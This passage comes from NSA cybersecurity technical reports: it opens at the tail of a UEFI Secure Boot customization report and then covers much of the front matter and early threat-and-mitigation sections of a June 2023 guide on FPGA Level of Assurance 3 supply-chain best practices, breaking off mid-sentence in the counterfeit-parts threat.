available today do not ship with a Linux distribution KEK or +DB certificate + Shim creates a software solution to a firmware limitation driven by market share. +MOK functions like the DB, and MOKX functions like the DBX. MOK and MOKX extend the +function of DB and DBX, effectively. Remember that DB and DBX are available prior to the +bootloader phase of UEFI boot. However, MOK and MOKX are initialized during the bootloader +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +phase if and only if Shim is used. MOK and MOKX can only be used part-way through the +bootloader phase and in following phases. +What devices ship with UEFI Secure Boot as an option? +Most business and consumer devices intended to run Microsoft Windows support Secure Boot. +Servers, blade arrays, laptops, desktops, tablets/2-in-1s, all-in-one PCs, small form factor PCs, +mobile phones, Internet of Things (IOT) devices, and similar products are likely to have Secure +Boot support. Devices supporting other operating systems may also have unutilized Secure Boot +support. +Where can I get more information, scripts, guidance, strategies, and other resources? +Visit the NSA Cybersecurity GitHub at https://www.github.com/nsacyber/Hardware-andFirmware-Security-Guidance for additional resources. A section specific for Secure Boot is +located +https://www.github.com/nsacyber/Hardware-and-Firmware-SecurityGuidance/tree/master/secureboot. Scripts, use cases, and resources for navigating customization +on a variety of vendor implementations will be posted over time. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency +Cybersecurity Technical Report +DoD Microelectronics: +Field Programmable Gate Array +Level of Assurance 3 Best Practices +June 2023 +U/OO/170671-23 +PP-23-1734 +Version 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +This document was created through collaboration with each of the +JFAC labs: National Security Agency (NSA), Air Force Research +Lab (AFRL) RYDT, Naval Surface Warfare Center (NSWC) Crane, +and Army Development Command (DEVCOM)/AVMC. +For additional information, guidance, or assistance with this +document, please contact the Joint Federated Assurance Center +(JFAC) at JFAC_HWA@radium.ncsc.mil. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Notices and history +Document change history +Date +JUN 2023 +Version +Description +Initial Publication +Disclaimer of warranties and endorsement +The information and opinions contained in this document are provided "as is" and without any warranties +or guarantees. Reference herein to any specific commercial products, process, or service by trade name, +trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or +favoring by the United States Government, and this guidance shall not be used for advertising or product +endorsement purposes. +Publication information +Author(s) +National Security Agency +Cybersecurity Directorate +Joint Federated Assurance Center +Contact information +NSA Joint Federated Assurance Center: JFAC_HWA@radium.ncsc.mil +Cybersecurity Report Feedback / General Cybersecurity Inquiries: CybersecurityReports@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +Media inquiries / Press Desk: Media Relations, 443-634-0721, MediaRelations@nsa.gov +Purpose +This document was developed in furtherance of NSA +s cybersecurity missions. This includes its +responsibilities to identify and disseminate threats to National Security Systems, Department of Defense +information systems, and the Defense Industrial Base, and to develop and issue cybersecurity +specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Executive summary +In support of securing Field Programmable Gate Array (FPGA) based systems from +adversary influence during the manufacturing process, this report outlines the +categories of relevant threats and the best practices for mitigating them at Level of +Assurance 3 (LoA3). LoA3 captures the threats that are technically feasible but have +high cost to implement, in addition to all LoA1 and LoA2 threats. This level is defined as +causing extremely grave harm to U.S. personnel, property, or interests if the systems +fail. At this level, these threats have the following characteristics: +Access + Exploit multiple points of difficult access in different areas of the +custom microelectronic components (CMC) supply chain. +Technology + Feasible threats for which existing research indicates the +likelihood that technology could be developed with an investment that would be +feasible for a known adversary. +Investment + A nation-state scale directed priority requiring resources from +many specialties and organizations across a wide scope to facilitate an attack. +Value of effect + Fully or partially degrading a system or feature. +Targetability + Affect only a subset of systems. +Organized by threat, this report provides multiple technical mitigations to choose from to +mitigate each threat and to allow the program the best fit for their program needs. The +following table identifies the ten threat descriptions (TD) addressed by this guidance. +Threat description (TD) +TD 1 +Adversary utilizes a known FPGA platform vulnerability +TD 2 +Adversary inserts malicious counterfeit +TD 3 +Adversary compromises application design cycle +TD 4 +Adversary compromises system assembly, keying, or provisioning +TD 5 +Adversary compromises third-party soft intellectual property (IP) +TD 6 +Adversary swaps configuration file on target +TD 7 +Adversary substitutes modified FPGA software design suite +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Threat description (TD) +TD 8 +Adversary modifies FPGA platform family at design +TD 9 +Adversary compromises single-board computing system (SBCS) +TD 10 +Adversary modifies vendor FPGA software design suite during +development +Each subsection in this report contains mitigations described in detail to enable clear +implementation. Secondary documents are referenced in cases where the suggested +mitigation is highly detailed, specific to individual FPGA platforms, or subject to frequent +change. In some cases, one hundred percent threat mitigation is not possible. The +provided guidance adds additional layers of protections to increase the difficulty of +malicious action. Additionally, the risks posed by the threat are explained. Appendix D: +Checklists and data/documentation requirements contains a quick reference list of +threats and associated mitigations. +Once the program has mitigated these threats, they have achieved an assurance level +of LoA3. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Contents +DoD Microelectronics: Field Programmable Gate Array Level of Assurance 3 +Best Practices .............................................................................................................................i +Executive summary ...................................................................................................................... iv +Contents ...................................................................................................................................... vi +1 Overview of Level of Assurance 3 threats and mitigations.................................................. 1 +1.1 Complementary standards and guidance ................................................................................................. 4 +1.2 Exclusions ............................................................................................................................................................. 5 +1.3 Document use ...................................................................................................................................................... 6 +1.4 General comments on mitigations ............................................................................................................... 7 +2 Threat descriptions (TD) ........................................................................................................... 7 +TD 1: Adversary utilizes a known FPGA platform vulnerability .............................................. 7 +TD 1 mitigations .......................................................................................................................................................... 8 +TD 1 mitigation descriptions .................................................................................................................................. 8 +Use caution when selecting tools or platforms .......................................................................................... 8 +Use cleared personnel ........................................................................................................................................ 8 +Research vulnerabilities...................................................................................................................................... 8 +Use revision control/version management .................................................................................................. 9 +Enforce auditability ............................................................................................................................................. 10 +Enforce the approved design process ........................................................................................................ 10 +TD 2: Adversary inserts malicious counterfeit ....................................................................... 11 +TD 2 mitigations ........................................................................................................................................................ 13 +TD 2 mitigation descriptions ................................................................................................................................ 13 +Purchase from DoD authorized vendors and distributors ................................................................... 13 +Consult GIDEP ..................................................................................................................................................... 13 +Follow storage and shipping guidance ....................................................................................................... 14 +Verify the FPGA cryptographically secure identifier .............................................................................. 14 +Perform physical inspection/analysis .......................................................................................................... 17 +Cleared insider ..................................................................................................................................................... 20 +TD 3: Adversary compromises application design cycle ...................................................... 21 +TD 3 mitigations ........................................................................................................................................................ 22 +Use Secret level cleared personnel ............................................................................................................. 23 +Track critical data in a revision control system ........................................................................................ 23 +Enforce auditability ............................................................................................................................................. 23 +Use revision control/version management ................................................................................................ 24 +TD 3.1 Mitigating the introduction of a compromised design into the application .......................... 24 +Isolate and store the application design ..................................................................................................... 25 +Perform reproducible build .............................................................................................................................. 25 +TD 3.2 Mitigating the modification of test benches or plans to reduce coverage or hide Trojan +code ............................................................................................................................................................................... 26 +Execute a documented test plan ................................................................................................................... 26 +Validate and verify the test processes ........................................................................................................ 27 +Maintain test environment via configuration management ................................................................. 27 +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3.3 Mitigating the introduction of a Trojan into the application design during +development ............................................................................................................................................................... 27 +Maintain bi-directional links to approved requirements ........................................................................ 27 +Enforce peer review ........................................................................................................................................... 28 +Execute a documented test plan ................................................................................................................... 28 +Implement, validate, and verify test processes ....................................................................................... 29 +Select a formal +proof + process...................................................................................................................... 29 +TD 3.4 Mitigating the introduction of compromised tooling or software into the environment .. 30 +Validate cryptographic hashes ....................................................................................................................... 30 +Research vulnerabilities.................................................................................................................................... 30 +Validate tools ......................................................................................................................................................... 31 +TD 3.5 Mitigating intrusion into the internal network .................................................................................. 32 +Assign roles ........................................................................................................................................................... 33 +Control and monitor access ............................................................................................................................ 33 +Research vulnerabilities.................................................................................................................................... 33 +Use a secret or classified network ................................................................................................................ 34 +TD 3.6 Mitigating risk from a compromised employee .............................................................................. 34 +Enforce auditability ............................................................................................................................................. 34 +Enforce the approved design process ........................................................................................................ 35 +Review critical design activities ..................................................................................................................... 35 +Use cleared personnel ...................................................................................................................................... 35 +TD 3.7 Mitigating risk associated with the compromise of device identifiers ................................... 35 +Store device identifiers ...................................................................................................................................... 36 +Limit access to device identifier information ............................................................................................. 36 +TD 4: Adversary compromises system assembly, keying, or provisioning ........................ 36 +TD 4 mitigations ........................................................................................................................................................ 37 +TD 4 mitigation descriptions ................................................................................................................................ 38 +Purchase from DoD authorized vendors and distributors ................................................................... 38 +Follow storage and shipping guidance ....................................................................................................... 38 +Provide keys and configuration data ........................................................................................................... 39 +Clear memory devices....................................................................................................................................... 39 +Provision private keys........................................................................................................................................ 39 +Protect the configuration data package ...................................................................................................... 39 +Perform verification activities .......................................................................................................................... 39 +Authenticate the FPGA device ....................................................................................................................... 40 +TD 5: Adversary compromises third-party soft IP .................................................................. 41 +TD 5 mitigations ........................................................................................................................................................ 41 +TD 5 mitigation descriptions ................................................................................................................................ 42 +Purchase from DoD authorized vendors and distributors ................................................................... 42 +Only accept IP that is unobfuscated ............................................................................................................ 42 +Ensure IP deliverable packages are digitally signed............................................................................. 42 +Validate the cryptographic hash .................................................................................................................... 42 +Store IP in a revision control repository...................................................................................................... 42 +Examine IP for malicious functions .............................................................................................................. 43 +TD 6: Adversary swaps configuration file on target ............................................................... 43 +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 6 mitigations ........................................................................................................................................................ 44 +TD 6 mitigation descriptions ................................................................................................................................ 45 +Incorporate cryptographic authentication .................................................................................................. 45 +Authenticate configuration data each time the data is loaded .......................................................... 45 +Prevent direct read back................................................................................................................................... 45 +Use a CNSS/NIST approved algorithm and key length ....................................................................... 45 +Use DoD evaluated authentication mechanisms.................................................................................... 45 +Disable test access pins ................................................................................................................................... 46 +Ensure authentication for modifications ..................................................................................................... 46 +Use a FIPS 140-2 compliant, Level 2 HSM .............................................................................................. 48 +TD 7: Adversary substitutes modified FPGA software design suite .................................... 48 +TD 7 mitigations ........................................................................................................................................................ 49 +TD 7 mitigation descriptions ................................................................................................................................ 49 +Purchase from DoD authorized vendors and distributors ................................................................... 49 +Prevent automatic tool updates ..................................................................................................................... 49 +Use a trusted computing environment ........................................................................................................ 49 +Use cleared personnel ...................................................................................................................................... 50 +Validate the cryptographic hash .................................................................................................................... 50 +Validate the tool output ..................................................................................................................................... 50 +TD 8: Adversary modifies FPGA platform family at design ................................................... 51 +TD 8 mitigations ........................................................................................................................................................ 52 +TD 8 mitigation description ................................................................................................................................... 52 +Engage JFAC........................................................................................................................................................ 52 +TD 9: Adversary compromises single-board computing system (SBCS) ........................... 53 +TD 9 mitigations ........................................................................................................................................................ 53 +TD 9 mitigation descriptions ................................................................................................................................ 54 +Engage a DoD vendor to build the SBCS ................................................................................................. 54 +Verification and authentication ....................................................................................................................... 54 +Authenticate the FPGA devices..................................................................................................................... 54 +Verify the SBCS configuration process ...................................................................................................... 54 +Test non-volatile memory ................................................................................................................................. 55 +Document the steps ........................................................................................................................................... 55 +TD 10: Adversary modifies vendor FPGA software design suite during development ..... 55 +TD 10 mitigations ..................................................................................................................................................... 56 +TD 10 mitigation descriptions .............................................................................................................................. 56 +Perform logical equivalency checking ......................................................................................................... 56 +3 Summary ................................................................................................................................... 57 +Appendix A: Standardized terminology ................................................................................... 58 +Appendix B: IP Reuse Guidance ............................................................................................... 61 +Reuse conditions ...................................................................................................................................................... 61 +Reuse scenarios ....................................................................................................................................................... 62 +Appendix C: JFAC FPGA reporting template .......................................................................... 65 +Appendix D: Mitigations and data/documentation requirements ......................................... 69 +Checklist for TD 1: Adversary utilizes a known FPGA platform vulnerability ................................... 69 +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +viii +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Checklist for TD 2: Adversary inserts malicious counterfeit.................................................................... 71 +Checklist for TD 3: Adversary compromises application design cycle ............................................... 74 +Checklist for TD 4: Adversary compromises system assembly, keying, or provisioning ............ 83 +Checklist for TD 5: Adversary compromises third-party soft IP ............................................................. 85 +Ensure IP deliverable packages are digitally signed............................................................................. 86 +Checklist for TD 6: Adversary swaps configuration file on target ......................................................... 87 +Checklist for TD 7: Adversary substitutes modified FPGA software design suite.......................... 88 +Checklist for TD 8: Adversary modifies FPGA platform family at design .......................................... 90 +Checklist for TD 9: Adversary compromises single-board computing system (SBCS) ............... 90 +Checklist for TD 10: Adversary modifies vendor FPGA software design suite during +development ............................................................................................................................................................... 92 +Tables +Table 1: LoA3 threats ................................................................................................................................................. 3 +Table 2: List of AS6171 slash sheets............................................................................................................... 17 +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +1 Overview of Level of Assurance 3 threats and +mitigations +LoA3 +This document provides JFAC +s recommended hardware assurance strategies +for Field Programmable Gate Array (FPGA) devices. The guidance outlined by this +document provides hardware assurance to systems requiring Level of Assurance 3 +(LoA3). Additionally, it provides the requisite strategies and details for implementing +each threat mitigation. Secondary documents are referenced in cases where the +suggested mitigation is highly detailed, specific to individual FPGA platforms, or subject +to frequent change. +This guidance is meant to stand on its own and not require the participation of JFAC in +the development process of a program +s product, unless required by a specific +mitigation. However, JFAC does remain at the ready to aid programs who seek to better +understand this guidance, to incorporate a program specific mitigation or are seeking +alternatives to the guidance contained herein. For further information or support, please +visit the JFAC portal at https://jfac.navy.mil. +In addition, to threats and mitigations identified at LoA1 and LoA2, LoA3 requires +mitigations against FPGA assurance threats that have the following characteristics: +Access + Multiple points of difficult access in different areas of the custom +microelectronic components (CMC) supply chain. +This could include multiple people working on different elements of the CMC or +government design teams. +This could include multiple people performing different functions in the fabrication +process. +This could include single or multiple cleared insiders working on the same or +different parts of the supply chain. +For a mitigation based on access to be effective, it needs to make it considerably more +difficult to carry out the attack. Examples include necessitating multiple points of difficult +access via many cleared people in conjunction with attacking multiple areas of the +supply chain such that actors will need coordination and communication amongst the +group. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Technology + Technologically feasible threats for which existing research indicates +the likelihood that technology could be developed with an investment that would be +feasible for a known adversary. However, these threats may not be associated with +existing and/or known tools and may not have associated reporting indicating adversary +activity. Moreover, while all the threats are validated to be possible, it may be that there +is no known or ongoing investment in the capability. +For a mitigation based on technological complexity to be effective, it must increase the +level of technology needed to carry out the attack to that which is beyond what is +recognized as technically feasible and practical. This includes areas for which there is +no known research. +Investment + A nation-state scale directed priority refers to a substantive program +conducted by a nation state that coordinates resources from many specialties and +organizations across a wide scope to facilitate an attack. +For a mitigation based on investment of resources to be effective, it must force the +attacker to expend greater resources that would be daunting even for a nation-state. +Value of Effect + Degrade system performance are those effects that reduce the +behavior of a system without fully disabling any specific feature or reliably having a +specific planned effect. Note, that the term degradation may be used in some domains +in a different way. For instance, a communications link might be +degraded + in a way +that prevents all communication. Such an attack would fall under disabling a capability +for the purposes of this evaluation. In addition, this LoA must consider all higher value +effects described in LoA1 and LoA2. +For a mitigation based upon value of effect to the adversary to be effective in LoA3, it +must eliminate or substantially reduce the value to the attacker. +Targetability + Blind attacks refers to attacks that impact large numbers of parts, +whole device families, or users in a way that has a significant likelihood of discovery +without effort, but only to impact a specifically targeted part. Blind attacks are those +where it is hard to predict the interaction between what adversaries do and the intended +consequence of the attack. This could include attacks that are performed against far +more targets than expected, or with an intelligent agent that acts without an outside +trigger or without foreknowledge of the attack outcome that would inform the adversary +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +of its execution. These attacks can also include activation times that cannot be +controlled once fielded; that is to say, a pre-determined time at which devices will fail. +For a mitigation based on targetability to be effective, it must remove the ability of the +adversary to affect targeted systems and force the adversary to rely on general and +blind attacks. +For a program to achieve Level of Assurance 3, it must provide mitigations against +threats that possess these characteristics. Of prime importance in LoA3 is the assumed +presence of one or more compromised cleared insiders and allowance for attacks that +are not targeted, but broadly applied to the entire supply chain. These new conditions +render classified facilities and cleared people ineffective as a +sole + means of mitigation. +As such, many of the mitigations offered in this guide focus on nullifying this adversarial +advantage using dual or independent teams. LoA3 addresses threats that originate from +an adversary whose intent is malicious, but unlike the previous LoA levels also includes +cases where reliability is also compromised. These threats should be addressed by the +reliability testing of a program. For programs with stringent or specific reliability +requirements, it is strongly recommended that the appropriate level of testing be +conducted to ensure the proper operation of the product rather than relying on +assurance mitigations. +The following table lists the ten FPGA threats that are addressed by LoA3. Each threat +is explained and accompanied by examples in more detail within the JFAC FPGA Best +Practices + Threat Catalog. +Table 1: LoA3 threats +Threat description (TD) +TD 1 +Adversary utilizes a known FPGA platform vulnerability +TD 2 +Adversary inserts malicious counterfeit +TD 3 +Adversary compromises application design cycle +TD 4 +Adversary compromises system assembly, keying, or provisioning +TD 5 +Adversary compromises third-party soft intellectual property (IP) +TD 6 +Adversary swaps configuration file on target +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Threat description (TD) +TD 7 +Adversary substitutes modified FPGA software design suite +TD 8 +Adversary modifies FPGA platform family at design +TD 9 +Adversary compromises single-board computing system (SBCS) +TD 10 +Adversary modifies vendor FPGA software design suite during +development +Each threat listed here has corresponding mitigations. These mitigations are derived +from various commercial/government standards and existing best practices. The use of +these standards/best practices should not preclude the use of any other standards or +best practices. In particular, DoD projects identified as National Security Systems (NSS) +should also utilize the appropriate guidance as required by the Committee on National +Security Systems (CNSS) Policy 15 and other CNSS documents. +1.1 Complementary standards and guidance +Microelectronic quantifiable assurance (MQA) standards are intended to be +complementary to other government and industry recognized risk management +practices and standards. The following are standards for various mitigations: +CNSS Policy on the use of Commercial Solutions to Protect National Security +Systems Policy 7 +CNSS Cryptographic Key Protection Policy 30 +National Institute of Standards and Technology (NIST) Federal Information +Processing Standards (FIPS) Publication 186 Digital Signature Standard +NIST FIPS Publication 198 The Keyed-Hash Message Authentication Code +(HMAC) +NIST Special Publication (SP) 800-53 Security and Privacy Controls for Federal +Information Systems and Organizations +NIST SP 800-57 Recommendation for Key Management +The Department of Defense Cybersecurity Maturity Model Certification (CMMC) +The Configuration Management section of NIST SP 800-60 Systems Security +Engineering: Considerations for a Multidisciplinary Approach in the Engineering +of Trustworthy Secure Systems +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +NIST SP 800-171 Protecting Controlled Unclassified Information in Nonfederal +Systems and Organizations +NIST SP 800-172 Enhanced Security Requirements for Protecting Controlled +Unclassified Information. +SAE International AS6171 Test Methods Standard; General Requirements, +Suspect/Counterfeit, Electrical, Electronic and Electromechanical Parts +Trusted Systems and Network (TSN) Analysis +Defense Acquisition Guidebook Chapter Nine + Program Protection Plan +JFAC FPGA Best Practices Documents + contact JFAC for available documents +to support implementation practices for the FPGA standards in this guide +Program offices should review and adhere to the standards provided in each document, +as applicable. The standards and guidance contained in this best practice guide do not +supersede any other DoD acquisition requirement or other DoD mandate. Additionally, +programs are encouraged to apply applicable standards in addition to the standards +described in this document +1.2 Exclusions +This FPGA Level of Assurance 3 Best Practice guide does not address the following +concerns: +Non-malicious and profit driven reliability risks such as re-marked parts. +Programs are responsible for establishing and enforcing system reliability +requirements. This document will not include guidance on how to conduct +reliability testing. However, compliance with SAE International AS6171 Test +Methods Standard: General Requirements Suspect/Counterfeit, Electrical, +Electronic and Electromechanical Parts as recommended by this report is an +effective detection mechanism for these kinds of counterfeit parts. +Threats to the confidentiality of the application design. The program application +can be loaded apart from the manufacturing process and under the protection +and oversight of the program. Confidentiality is preserved using existing +engineering practices, bitstream encryption and other anti-tamper practices. For +more guidance in this area, see the DoD +s Anti-tamper Executive Agent +(https://at.dod.mil). +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +1.3 Document use +These FPGA assurance best practices instruct programs on protecting manufacturing +and provisioning processes from adversarial influence. Specifically, they apply to the +manufacturing, acquisition, programming and first attachment of the FPGA devices. The +program must define its own protection methods as boards become integrated into +subcomponents, components, and then final systems. +For LoA3 compliance, each program should perform each mitigation listed in the +Mitigation + section. The +Mitigations Description + section provides details for each +mitigation. Underlined text in a listing indicates that there is a following section providing +full details for implementing the protection. In some cases, the full description contains +multiple technical options for mitigating the threat to be LoA3 compliant. An asterisk +next to any mitigation indicates that multiple technical options exist. In those cases, at +least one option must be implemented. +When mitigations for all the threats listed under LoA3 are completed, that device can be +said to have achieved LoA3. However, compliance with LoA3 can be impacted by +changes in several areas during the system +s life. +The Program Protection Plan (PPP) emphasizes the need to maintain and update +protection measures throughout lifecycle of a program. It is strongly recommended that +each program identify events that would trigger a review of the PPP and the hardware +assurance practices after fielding. These events should include but not be limited to: +Changes to the system +Changes to the supplier of critical components including the FPGA devices +Changes to the FPGA design software (new releases, fixes, etc.), +Changes to the threat environment +Revelations of new vulnerabilities to the FPGA devices +The PPP documents list resources with which the program can track the latest available +intelligence on threats and supply chain vulnerabilities. Changes in any of these areas +should trigger a review of the most up-to-date assurance mitigations against the +triggering event. If threats or vulnerabilities threaten the system, new mitigations should +be implemented to remain compliant to LoA3. Absent any changes in these areas, the +devices should be considered to have achieved LoA3. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +1.4 General comments on mitigations +Programs are encouraged to own as much of the assembly process as possible +and avoid third parties to the fullest extent possible. +Programs are encouraged to diversify their supply sources to minimize malicious +targeting. +Programs are encouraged to use cleared personnel and classified resources to +the fullest extent possible. +Programs are encouraged to use verification of all manufacturing steps to the +fullest extent possible. This applies to packaging and assembly. +2 Threat descriptions (TD) +TD 1: Adversary utilizes a known FPGA platform vulnerability +In this threat, an adversary utilizes a vulnerability in an FPGA platform or vendor +development software package to initiate an attack. At LoA3, a vulnerability is defined +as a weakness known to the adversary in the design of a specific FPGA platform or +software program that would allow the ability to use it for malicious purposes. The +vulnerability could be publicly or non-publicly known. +Vulnerabilities could allow for the leakage of sensitive information or keys, compromise +of security or tamper detection functions, or unauthorized reconfiguration of the product. +Unclassified and public vulnerabilities are published in databases, such as the DISA +Vulnerability Management System (VMS), +Common Vulnerabilities and Exposures +(CVE) +, and the +National Vulnerabilities Database (NVD) +, vendor advisories, errata +bulletins, etc. Non-public vulnerabilities refer to ones that have been discovered by the +adversary's research or known by vendors but not exposed to the public. +This threat can be realized when a program does not perform vulnerability research or +an insider hides the fact of the vulnerability such that it may be used for nefarious +purposes or by adding/modifying design features for use with or for triggering the +vulnerability. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 1 mitigations +Use caution when selecting tools or platforms. When possible do not select tools +or platforms that are end-of-life or beta/initial releases. Also, ensure previously +identified vulnerabilities in tools/platforms have been adequately addressed in +newer releases. +Use cleared personnel that possess at least a Secret level clearance. +*Research vulnerabilities affecting tools/platforms. +Use revision control/version management that includes document/data control, +document/data release, backups, and archives, refresh of backup media, +retention of tools and software, test equipment and test environment. +Enforce auditability of the requirements, architecture, design, code, tests, bugs, +and fixes. At a minimum, audit data should include what decisions were made, by +whom, for what reason, and on what date. +Adopt, document, and enforce the approved design process that is +organizationally approved and with clear entry and exit criteria. Entry and exit +criteria incorporate peer reviews and technical reviews with management +approval to exit a phase. +TD 1 mitigation descriptions +Use caution when selecting tools or platforms +Consider the longevity of selected tools and FPGA platforms. Newly released devices +may not yet have a vulnerability history. Programs should proceed with caution when +using newly released devices or tools. End-of-life devices may not have support to +mitigate vulnerabilities once identified. +Use cleared personnel +Use personnel with at least a Secret clearance to perform designated work. Designated +work could include design reviews, peer reviews, vulnerability research, validation, and +verification activities, etc. +Research vulnerabilities +Research the respective FPGA platform and software for existing vulnerabilities in +databases such as: +Common Vulnerabilities and Exposures (CVE) + https://cve.mitre.org +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +NIST National Vulnerabilities Database (NVD) + https://nvd.nist.gov +Government Industry Data Exchange Program (GIDEP) +https://www.gidep.org/products/products.htm +DISA Security Technical Implementation Guides (STIGs) +https://public.cyber.mil/stigs/ +Search vendor advisories, errata, publications, and academic papers detailing +vulnerabilities in the device in question. +Contact the vendor field application engineer for unreleased or pre-release +vulnerability reports. +If vulnerabilities are found in the FPGA device, choose one of the following options: +Option 1: Select a different FPGA platform device or software that does not have +published vulnerabilities and that meets the program requirements. +Option 2: Use standard formal processes and procedures to work with the vendor to +resolve the vulnerability. Once a fix is identified, only accept formal releases, do not +accept custom beta fixes, custom patches, etc. for incorporation; or +Option 3: The program can internally determine the vulnerability poses no significant +risk to their product. JFAC is available to provide assistance in assessing the risk that +the vulnerability poses to the system and acquire recommended mitigations for a +particular vulnerability. +Note: If a vulnerability is identified, JFAC recommends reporting it to DISA and to +contact the vendor so they may correct it. +Use revision control/version management +To prevent vulnerable software from being loaded into the environment, it is important +that robust configuration management and revision control systems are in place. All +changes to the system and/or any artifacts should be documented, approved, and +auditable. +These systems should fulfill the following requirements: +Allow only authorized system administrators to make changes to the underlying +revision control tool and underlying server. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Use a backup system that syncs to the primary and is maintained by a separate +administrator. Each system should be managed by separate system +administrators. +Enforce administrative restrictions; restrict privileged access to authorized +personnel only; limit what users can do to the database; ensure all users are +verified; encrypt database information +both in transit and at rest; enforce secure +passwords; enforce role-based access control and privileges; and remove +unused accounts. +Remove any components or functions that are not necessary (for example, +remove all sample files and default passwords). +Ensure the system provides a complete and immutable, long-term change history +of every file. The system must log every change made by individuals. This +includes changes such as creating and deleting files and editing content. The +history must identify the person who made the change, what was changed, the +date of the change, and the purpose of the change. +Ensure the system stores a reliable copy of assets that are currently in +production. +Ensure the system stores reliable copies of previous production versions of +assets, allowing for the complete retrieval of those versions. +Ensure password best practices (password rotation, length, etc.) are enforced. In +lieu of a password, two-factor authentication can be utilized. +Ensure the final application synthesis and bitstream generation configuration +settings are captured and stored. +All changes to the system and/or any artifacts should be documented, approved, +and auditable. +Enforce auditability +Enforce auditability of the requirements, architecture, design, code, tests, bugs, and +fixes. At a minimum, audit data includes what decisions were made, by whom, for what +reason, and on what date. System audits and logs are required where applicable. +Enforce the approved design process +The design process should include the identification of all assurance critical activities +and highlight how each activity will be reviewed. The design process should ensure the +design is reviewed by multiple cleared individuals. The original designer should not be +the responsible party for performing the review. The cleared reviewers should assess +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +the satisfaction of all requirements, ensure no extraneous design elements, and review +all vulnerability activities, including identification of vulnerabilities and the +appropriateness of the mitigations. Additionally, the design process should contain clear +entry and exit criteria that incorporate peer reviews and technical reviews with +management approval required to exit a phase. +TD 2: Adversary inserts malicious counterfeit +LoA1 addresses counterfeit parts made in an unauthorized fabrication facility and +inserted into the supply chain. These parts mimic the behavior of the target device, but +are manufactured in a process differing from the authorized one. Insertion of counterfeit +parts can happen during any part of the device's lifecycle. This includes prior to +purchase, in transit, while in storage by the program, during assembly, and at +distribution prior to fielding. +In addition to the LoA1 threats, LoA2 addresses counterfeit parts made in an authorized +fabrication facility through the malicious compromise of the manufacturing process. +Such an attack could happen during any of the following phases of the process: +Transfer of graphic +design system 2 +(GDSII) mask data +Mask fabrication +Mask storage +Wafer manufacturing +Package testing +Wafer testing +Wafer dicing and +packaging +Device +personalization +LoA2 also includes counterfeit parts created in an adversary facility purposely built to +mimic the authorized device manufacturing process, as well as the insertion of a +malicious function into the package of an authentic device. This includes: +insertion of a snooping die stacked in the package, +introduction of a kill switch in the package, or +alteration of the bond out to compromise some FPGA feature. +LoA3 adds counterfeit parts fabricated in the authorized fabrication facility using stolen +authorized GDSII under a different product name. It can also include the introduction of +a reliability and performance degradation due to an attack on the manufacturing process +or the remarking of used devices. The modification of the original design to insert a +malicious function could be considered a +counterfeit + part, but will be addressed +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +separately in TD 8: Adversary modifies FPGA platform family at design. The difference +between this new threat in TD 2 in LoA3 and TD 8 is that, for this threat, there exists a +golden, unaltered 